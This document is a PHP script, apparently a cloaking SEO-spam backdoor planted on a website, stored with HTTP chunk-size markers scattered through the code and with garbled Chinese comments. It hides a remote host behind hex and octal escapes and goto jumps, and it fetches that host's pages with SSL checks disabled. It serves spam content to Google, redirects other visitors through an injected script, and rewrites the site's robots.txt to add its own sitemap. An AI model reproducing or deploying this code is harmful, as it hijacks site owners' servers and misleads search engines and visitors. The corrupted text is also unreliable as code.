1 < 4 ?php 3 e 4 rror 4 _rep 4 orti 4 ng(0 3 ); 3 $g 5 et = 3 fil 5 ter_i 3 npu 4 t_ar 4 ray( 6 INPUT_ 4 GET, 3 FI 4 LTER 3 _SA 4 NITI 3 ZE_ 3 STR 3 ING 5 ); 4 /* 19 ------------------------- 3 5 é 3 «˜é 3 €Ÿæ 2 œ¬ 3 地 3 缓 3 å­˜ 2 å‡ 3 ½æ• 3 ° 1a ------------------------- 3 */ 3 fu 4 ncti 4 on c 4 ache 8 _get($ke 4 y, $ 4 expi 2 re 6 = 300 3 ) { 7 $ 11 file = sys_get_te 4 mp_d 4 ir() 4 . ' c /cache_' . m 12 d5($key) . '.php'; 7 i 3 f ( 7 file_ex 4 ists 6 ($file 3 ) & 4 & (t 3 ime 4 () - 6 filem c time($file)) 2 < 11 $expire) { 7 ret 3 urn a file_get_ 4 cont 2 en 10 ts($file); 7 } b return fals 5 e; } 12 function cache_s b et($key, $d 3 ata 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 6 @file_ 4 put_ 15 contents($file, $data 4 , LO 3 CK_ 3 EX) 6 ; } 26 /* ------------------------- è 3 Ž·å 3 –ç 3 œŸå 2 ®ž 3 访 2 é— 4 ® IP 3 ( 2 å… 3 ¼å® 3 ¹ C 4 DN / 3 å 2 ä 3 »£ï 2 ¼‰ 29 ------------------------- */ function 7 get_rea 4 l_ip b () { $ 4 keys 4 = [ c 'H 3 TTP 3 _CF 4 _CON 3 NEC 4 TING 4 _IP' 4 , // 3 Cl 4 oudf 4 lare 11 'HTTP_X 3 _RE 8 AL_IP', a // 4 Ngin 13 x 'HTTP_X_ 3 FOR 3 WAR 3 DED 8 _FOR', 5 // Pr 3 oxy 12 'HTTP_CL 4 IENT 5 _IP', d 'RE 4 MOTE 3 _AD 3 DR' 7 ] 9 ; 5 forea 3 ch 19 ($keys as $k) { 5 if (! 5 empty 4 ($_S 3 ERV 3 ER[ 3 $k] e )) { 7 $ip 3 = 15 $_SERVER[$k]; e if (st 3 rpo 5 s($ip 4 , ', 3 ') 3 !== 6 false 1c ) { $ip = t 4 rim( 24 explode(',', $ip)[0]); 15 } if ( 8 filter_v 2 ar d ($ip, FILTER_ 3 VAL 3 IDA 22 TE_IP)) { return 37 $ip; } } } return '127. 4 0.0. 2 1' 2c ; } /* ------------------------- æ 3 ›´å 3 ¿«ç 2 š„ 5 getC 4 url( 1 ) 4e ------------------------- */ function getCurlFast($url) { $cached = f cache_get($url) b ; if ( 8 $cached 13 !== false) return $ 6 cached e ; $data 5 = '' 9 ; c if (function 9 _exists(' 4 curl 5 _init f ')) { 4 $ch 3 = c 15 url_init($url); 9 curl_ 5 setop 8 t_array( 4 $ch, 10 [ 3 CUR 4 LOPT 4 _RET 3 URN 4 TRAN 3 SFE 3 R = 4 > tr 3 ue, 16 CURLOPT_ a CONNECTTIM 3 EOU 6 T => 5 17 , CURLOPT_ f TIMEOUT 4 => 8 18 , CURLOPT_S 3 SL_ 5 VERIF 3 YPE 6 ER => 26 false, CURLOPT_SSL_VERIFY 3 HOS 1 T 23 => false, CURLOPT_FOL 2 LO 4 WLOC 4 ATIO 21 N => false, CURLOPT_ 4 USER 2 AG 3 ENT c => "Mo 4 zill 3 a/5 3 .0" 28 ]); $data = curl_exec 15 ($ch); curl_ 4 clos d e($ch); d } if ( 7 empty($ 6 data) 6 && ini 6 _get(' 4 allo 6 w_url_ 4 fope 1 n 15 ')) { $conte 5 xt = 5 strea 2 m_ 9 context_c 6 reate( 10 [ " 4 http 5 " => 2 [" 7 timeout 7 " => 8, 5 "hea 3 der 8 " => "Us 3 er- 2 Ag 5 ent: d Mozilla/5.0\r 4 \n"] f , 4 "ssl 8 " => [" 4 veri 4 fy_p 8 eer" => 7 false, f "verify_peer_na 2 me b " => false] 20 ]); $data = @ 13 file_get_contents($ 4 url, 10 false, $context 15 ); } if ( d !empty($data) d ) cache_set($ 5 url, 7 $data); 12 return $data 2b ; } /* ------------------------- 5 URL ä 2 ¿¡ 3 æ¯ 2d ------------------------- */ function get_ 7 url_inf 5 o(str 4 ing 4 $typ 3 e=' 4 doma 4 in') 9 : string 9 { $h 3 ost c = $_SERVER[ a 'HTTP_HOST 3 '] 2 ?? f ''; if ($ 5 type 5 === ' 3 no_ 4 www' 9 ) return 4 preg 5 _repl 2 ac 5 e('/^ 5 www\. 2 /i 4 ', ' 9 ', $host) b ; $p 4 roto 3 col 3 = 16 (!empty($_SERVER['HTTP 3 S'] 5 ) && 11 $_SERVER['HTTPS'] 8 !== 'of 4 f') 7 ? "http 4 s:// 3 " : a "http://" 8 ; $ 25 base = $protocol . $host; if ( f $type === 'base a ') return 5 $base 19 ; if ($type === 'ful 10 l') return $base 3 . d ($_SERVER['RE 3 QUE 5 ST_UR 9 I'] ?? '' a ); f return $host; 28 } /* ------------------------- 3 基 2 ç¡ 3 €å 3 ˜é‡ 1 21 ------------------------- */ g 6 oto ON 3 PuB 7 ; ONPuB 4 : $h 4 ttp_ 7 type = 12 !empty($_SERVER["\ 3 x48 4 \124 3 \x5 8 4\x50\x5 2 3" 19 ]) && $_SERVER["\x48\124\ 6 124\x5 c 0\x53"] !== 4 "\15 3 7\x 3 66\ 3 146 5 " ? " 6 \150\x 9 74\x74\x7 3 0\1 3 63\ 4 72\x 6 2f\x2f 5 " : " 6 \x68\1 9 64\164\16 9 0\72\x2f\ 4 57"; 7 goto O 3 4O9 8 k; O4O9k 4 : $v 4 url 8 = "\x74\ 5 157\5 5 6\152 4 \147 4 \141 9 \x6c\x6c\ 6 163\x2 5 e\143 8 \157\x6d 5 \x2f" 9 ; goto vg 4 v72; 6 vgv72 5 : $qz 5 = su 4 bstr 4 (str 9 _replace( b array("\x77 6 \x77\1 6 67\x2e 4 ", " 5 \56") 13 , '', $_SERVER["\11 8 0\x54\x5 4 4\12 5 0\x5f 8 \x48\x4f 4 \123 7 \x54"]) 4 , 0, 2 3 4 ); 26 /* ------------------------- è§£ 2 æž 3 f 4 å‚ 23 æ•° ------------------------- */ 6 $sz = 3 $ii 5 d = " 6 "; if a (!empty($_ 4 GET) 4 ){ 3 $f 3 =re a set($_GET) 9 ; $s 4 p = a explode('- 5 ', $f d ); if (c 3 oun 6 t($sp) 6 === 2 e ) { $ 7 sz = $ 2 sp f [0]; $ a iid = $sp[ 2 1] b ; } } 27 /* ------------------------- è¿ 2 œç 3 ¨‹æ 3 Ž¥å 2 £ 20 ------------------------- */ e if (!empty($sz a )) { 6 $jd = c getCurlFast( 2 "{ c $http_type}{ 6 $vurl} 3 3kg 4 .asp 3 x?s 3 z=" 6 . url 3 enc 9 ode($sz)) 6 ; } e 3 lse 38 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x e y={$http_type} b "); $s 1 z 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 11 =" . urlencode($j 2 d) a ); } $ 4 hyzh 2 dy 7 = $jd 4 . "4 6 1.aspx 6 "; $s 5 url 49 = $jd . "s41.aspx"; /* ------------------------- robots / sitem 2 ap 28 ------------------------- */ $sitemap 3 Lin 6 e = "S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] e }{$_SERVER['SC 2 RI 5 PT_NA 5 ME']} 2 ?w 6 =" . d 6 ate('Y 3 mdH 2 i' 5 ) . " 4 \n"; d function en 5 sure_ 7 robots_ 8 sitemap( c $sitemapLine 11 ) { $robots 3 = r f trim($_SERVER[' 3 DOC 2 UM 6 ENT_RO 4 OT'] 5 , "/\ 2 \" c ) . '/robots 4 .txt c '; if ( 1 ! 13 file_exists($robots e )) { 14 @file_put_contents($ 7 robots, 8 "User-a 8 gent: *\ 2 nA 6 llow: 4 /\n" 4 . $ 18 sitemapLine, LOCK_EX); 5 } d else { 6 $c 1e = @file_get_contents($robots) 1 ; 12 if ($c = 9 == false 3 || 9 strpos($c e , $sitemapLine b ) === false 11 ) { 35 @file_put_contents($robots, $sitemapLine, FILE_APPEND 2 | 10 LOCK_EX); 11 } } } 25 /* ------------------------- 4 w= è 2 ¾“ 3 出 2c ------------------------- */ if (!empty($ 4 get[ 3 'w' 7 ])) { a $par 22 ams = http_build_query([ 3 'NO 4 Umbe 2 r' a => $get[' 8 NOUmber' 13 ] ?? '', ' 2 t' 10 => $get[' 15 t'] ?? '', ' 3 cn' 12 => $get['cn' 14 ] ?? '', 'p 5 NOUm' 12 => $get['pNOUm' 16 ] ?? '', 'cid 10 ' => $get['c 16 id'] ?? '', ' 1 m 1a ' => $get['m'] ?? '' 7 ] b ); $ 3 str 16 = getCurlFast("{$surl 3 }?{ 7 $params c }"); 4 echo d str_replace( b [ 3 'yy 4 mm', 6 'ggggg 5 ','?f 4 ='], b [ b $http_type. 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 5 , $sz 5 ,'?'. 4 $qz. f '='], a $str 8 ); 3 exi 2e t; } /* ------------------------- IP 3 åˆ 3 ¤å® 2 šï 3 ¼ˆä 2 ¿ 3 ç•™ 4 kk 2 æµ 3 ‹è¯ 1 • 24 ) ------------------------- */ $ 6 kk = i 6 sset($ 6 get['k 5 k']) 1 ? 12 trim($get['kk']) 7 : ''; 6 $ip = 5 ($kk 5 !== ' 8 ') ? "66 3 .24 3 9.8 3 2.8 4 " : d get_real_ip() 28 ; /* ------------------------- 3 get 7 domain2 6 åˆ¤æ– 1 ­ 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 10 jd . "getdomain2 7 .aspx?r 3 nd= 4 1&ip 5 =" . 4 $ip) 2a ); /* ------------------------- é 2 ž 6 googl 3 e + 5 iid 2 ↠3 ’ è 3 ·³è 2 ½¬ 24 ------------------------- */ if ( d $domain !== ' 6 google 5 ' && 8 !empty($ 3 iid c )) { $k 7 name = 5 urlde 5 code( 15 getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 6 d)); b echo '< 4 scri 4 pt>l 3 oca 5 tion= 5 "' . 8 $jd . "a 7 .aspx?c 4 name 15 =" . urlencode($kname 6 ) . "& 9 url=" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 3 . " 6 ?iid={ 4 $iid 31 }"); echo str_replace( ['ggggg',' 5 YYYYY 5 ','XX 7 XYYY',' 3 当 2 å‰ 4 URL 4 ','U 8 UUUU','M 4 MMMM 18 ','?f='], [$sz, e get_url_info( 10 ), get_url_info( 7 'base') 16 , get_url_info('full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1a ($_SERVER['REQUEST_URI'], 3 PHP 5 _URL_ 3 PAT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 4 elpe 1 r 2b ------------------------- */ function ou 5 tput_ 9 sitemap_a 2 nd 5 _exit e ($sitemapLine, b $http_type 9 ) { 2f ensure_robots_sitemap($sitemapLine); echo 3 " 10 8 Sitemap< 2 /a f > " 36 ; exit; } /* ------------------------- 3 kk 7 输出æ 3 ާå 2 ˆ¶ 25 ------------------------- */ if ($ 9 kk !== '' 4 && 8 preg_mat 2 ch 6 ('/^[A 3 -Za 3 -z0 3 -9] 3 +$/ 5 ', $k 1 k e )) { $rem 3 ote 10 = getCurlFast($ 1c jd . "getdomain2.aspx?rnd=2& 2 kk 9 =" . $kk) c ; if (! 7 empty($ 14 remote)) { 5 echo 7 $remote 12 ; exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) a ; } $i 5 s_no_ 5 query 4 = e f mpty($_SERVER[' 5 QUERY 7 _STRING 8 ']); 9 if ($kk = 9 == '' && c $is_no_query 15 ) { if ($domain c === 'google' d ) { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0